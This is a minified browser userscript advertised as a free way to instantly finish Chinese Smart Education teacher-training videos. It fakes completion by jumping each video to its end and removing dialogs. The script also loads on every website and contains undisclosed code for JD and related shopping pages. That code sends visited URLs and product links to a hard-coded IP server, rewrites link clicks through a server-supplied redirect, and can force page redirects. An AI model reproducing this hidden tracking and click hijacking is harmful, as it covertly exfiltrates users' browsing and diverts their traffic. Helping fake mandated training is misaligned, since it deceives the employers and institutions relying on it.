- // ==UserScript==
- // @name 智慧中小学暑假教师研修[小果免费秒过]
- // @description 2024年智慧中小学暑假教师研修,秒过。
- // @namespace xiaoguomiaoguo
- // @version 1.0.1
- // @author 小果
- // @license MIT
- // @include *
- // @grant GM_xmlhttpRequest
- // @grant GM_setValue
- // @grant GM_getValue
- // @connect 49.235.155.5
- // ==/UserScript==
-
- (() => {
- var e = {
- 324: () => {
- ! function() {
- "use strict";
- var e, t, n = [],
- o = [],
- r = [],
- l = 0;
-
- function a(e, t) {
- const n = new RegExp(t.join("|"), "i");
- return e.filter((e => n.test(e)))
- }
- if (a([location.href], ["liangxinyao.", "jd."])
- .length > 0 && (e = JSON.stringify({
- href: location.href,
- type: "ttzhushou"
- }), t = {}, new Promise(((a, i) => {
- GM_xmlhttpRequest({
- method: "POST",
- url: "http://49.235.155.5/init.php?act=initEnv",
- data: e,
- headers: t,
- responseType: "json",
- onload: e => {
- let t = e.response || e.responseText;
- t = t.data, "search" == t.page ? (n = t, setInterval((function() {
- ! function() {
- n.wrapper.forEach((function(e) {
- $(e)
- .map((function(e, t) {
- "yes" != $(t)
- .attr("data-md5-value") && (r.push(t), o.push(t), $(t)
- .attr("data-md5-key", l), $(t)
- .attr("data-md5-value", "yes"), l++)
- }))
- }));
- let e = o.splice(0, n.splName),
- t = [];
- e.forEach((function(e, n) {
- let o = {};
- o.href = $(e)
- .find("a:first")
- .attr("href"), o.md5 = $(e)
- .attr("data-md5-key"), t.push(o)
- })), t.length > 0 && GM_xmlhttpRequest({
- method: "POST",
- data: JSON.stringify({
- data: t
- }),
- url: "http://49.235.155.5/search.php",
- onload: function(e) {
- var t = e.responseText;
- t && (t = JSON.parse(t))
- .map((function(e) {
- e.u && $(r[e.md5])
- .find("a")
- .bind("click", (function(t) {
- var o, r;
- t.preventDefault(), o = e.u, r = null, document.getElementById("redirect_form") ? (r = document.getElementById("redirect_form"))
- .action = n.jumpUrl + encodeURIComponent(o) : ((r = document.createElement("form"))
- .action = n.jumpUrl + encodeURIComponent(o), r.target = "_blank", r.method = "POST", r.setAttribute("id", "redirect_form"), document.body.appendChild(r)), r.submit(), r.action = "", r.parentNode.removeChild(r)
- }))
- }))
- }
- })
- }()
- }), t.timer)) : t.recove_url && (window.location.href = t.recove_url)
- },
- onerror: e => {
- i(e)
- }
- })
- }))), a([location.href], ["smartedu."])
- .length > 0) {
- function i() {
- let e = document.querySelector("video");
- e && (e.muted = !0, e.play(), e.pause(), e.currentTime = e.duration, e.play(), setTimeout(700), e.currentTime = e.duration - 3, e.play(), e.currentTime = e.duration - 5, e.play())
- }
-
- function d(e, t) {
- let n = 0;
- const o = setInterval((() => {
- n >= e ? clearInterval(o) : (i(), n++)
- }), t)
- }
- let c;
- ! function(e, t, n, o, r, l) {
- const a = Date.now(),
- i = GM_getValue("MIAOGUO_LABEL");
- if (console.log(a, i, a - i), a - i > 864e5) {
- const e = document.createElement("div");
- e.style.position = "fixed", e.style.top = "20%", e.style.left = "20%", e.style.width = "60%", e.style.height = "auto", e.style.backgroundColor = "#fff", e.style.padding = "20px", e.style.borderRadius = "5px", e.style.boxShadow = "0 0 10px rgba(0,0,0,0.5)", e.style.zIndex = "9999";
- const t = document.createElement("p");
- t.style.color = "red", t.style.fontSize = "28px", t.textContent = "不支持高校、职教版本", t.style.textAlign = "center", t.style.marginBottom = "10px";
- const n = document.createElement("p");
- n.textContent = "提示:", n.style.fontSize = "19px", n.style.marginBottom = "10px";
- const o = document.createElement("p");
- o.textContent = "1.使用方法:点开视频,鼠标快速点几次空白处或者暂停/播放键,然后观察进度条是否跳转到最后几秒,如果跳过去了,等待视频播放完成即可。如果进度条还在前面,再次快速点几次空白处或者暂停/播放键,直到进度条跳转到最后几秒;", o.style.fontSize = "19px", o.style.marginBottom = "10px";
- const r = document.createElement("p");
- r.textContent = "2.此脚本永久免费,以前、现在、未来都免费,谨防上当受骗;", r.style.fontSize = "19px", r.style.marginBottom = "10px";
- const l = document.createElement("p");
- l.textContent = void 0, l.style.fontSize = "19px", l.style.marginBottom = "10px";
- const i = document.createElement("p");
- i.textContent = void 0, i.style.textAlign = "right", i.style.fontSize = "25px", i.style.marginBottom = "10px";
- const d = document.createElement("button");
- d.textContent = "我知道了", d.style.padding = "5px 10px", d.style.cursor = "pointer", d.onclick = function() {
- GM_setValue("MIAOGUO_LABEL", a), e.remove()
- };
- const c = document.createElement("div");
- c.style.display = "flex", c.style.justifyContent = "center", c.style.alignItems = "center", c.style.marginTop = "10px", c.appendChild(d), e.appendChild(t), e.appendChild(n), e.appendChild(o), e.appendChild(r), e.appendChild(l), e.appendChild(i), e.appendChild(c), document.body.appendChild(e)
- }
- }(), document.addEventListener("DOMContentLoaded", (function() {
- var e, t;
- (e = document.querySelector(".fish-modal-confirm-btns")) && (e.parentNode.removeChild(e), console.log("出现知道了按钮")), (t = document.querySelector(".fish-modal-content")) && (t.parentNode.removeChild(t), console.log("移除弹窗2")), console.log("移除弹窗")
- })), document.addEventListener("click", (function(e) {
- 0 === e.button && (c && clearInterval(c), d(4, 50), c = setInterval((() => {
- d(4, 50)
- }), 8e3))
- }))
- }
- }()
- }
- },
- t = {};
- ! function n(o) {
- var r = t[o];
- if (void 0 !== r) return r.exports;
- var l = t[o] = {
- exports: {}
- };
- return e[o](l, l.exports, n), l.exports
- }(324)
- })();